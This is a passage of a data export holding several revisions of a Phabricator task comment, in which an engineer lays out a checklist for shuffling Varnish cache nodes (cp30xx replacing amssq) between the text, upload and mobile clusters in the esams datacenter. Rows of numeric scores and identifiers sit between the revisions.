For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428636508,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.666666666666667,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,2.6666666666666665,7.166666666666667,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.5,0.0,0.16666666666666666,0.0,2.3333333333333335,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.5,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.6666666666666667,1.3333333333333333,3.0,0.5,1.1666666666666667,3.1666666666666665,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,4.333333333333333,0.0,1.0,7.166666666666667,6.666666666666667,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,12.166666666666666,3.4848303870043,0.6051321866539258,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step):
   1. [X] cp3036 -> cp3003 -> amssq5[12]
   2. [X] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq55
   4. [ ] cp3039 -> cp3006 -> amssq56
   5. [X] cp3046 -> cp3007 -> amssq59,60
   6. [X] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009 -> amssq57
   8. [ ] cp3049 -> cp3010 -> amssq58

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
441605,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [X] cp3036 -> cp3003 -> amssq5[12]
   2. [X] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [X] cp3046 -> cp3007 -> amssq59,60
   6. [X] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428630215,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.5,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,7.833333333333333,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.5,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.166666666666668,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,3.0,0.5,1.3333333333333333,3.3333333333333335,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,4.333333333333333,0.0,1.1666666666666667,7.833333333333333,7.0,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,12.0,3.478494623655914,0.6129032258064516,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [X] cp3036 -> cp3003 -> amssq5[12]
   2. [X] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [X] cp3046 -> cp3007 -> amssq59,60
   6. [X] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
441531,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [X] cp3036 -> cp3003 -> amssq5[12]
   2. [X] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428618589,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.666666666666667,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,7.833333333333333,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.5,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.166666666666668,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,2.6666666666666665,0.5,1.3333333333333333,3.3333333333333335,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,4.333333333333333,0.0,1.1666666666666667,7.833333333333333,7.0,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,11.333333333333334,3.4868902914134328,0.6148511765622565,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [X] cp3036 -> cp3003 -> amssq5[12]
   2. [X] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440789,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428542052,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.666666666666667,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,7.833333333333333,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.5,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.0,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,2.3333333333333335,0.5,1.3333333333333333,3.3333333333333335,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,4.333333333333333,0.0,1.1666666666666667,7.833333333333333,7.0,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,10.833333333333334,3.494915848527349,0.615084930652953,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440788,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428542039,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.666666666666667,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,7.833333333333333,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.5,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.0,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,2.1666666666666665,0.5,1.3333333333333333,3.3333333333333335,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,4.333333333333333,0.0,1.1666666666666667,7.833333333333333,7.0,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,10.5,3.499707807386629,0.6163900576593423,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440766,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [ ] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428540594,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.666666666666667,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,7.833333333333333,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.5,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.0,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,2.0,0.5,1.3333333333333333,3.3333333333333335,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,4.333333333333333,0.0,1.1666666666666667,7.833333333333333,7.0,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,10.0,3.5054347826086953,0.6177536231884058,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [ ] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
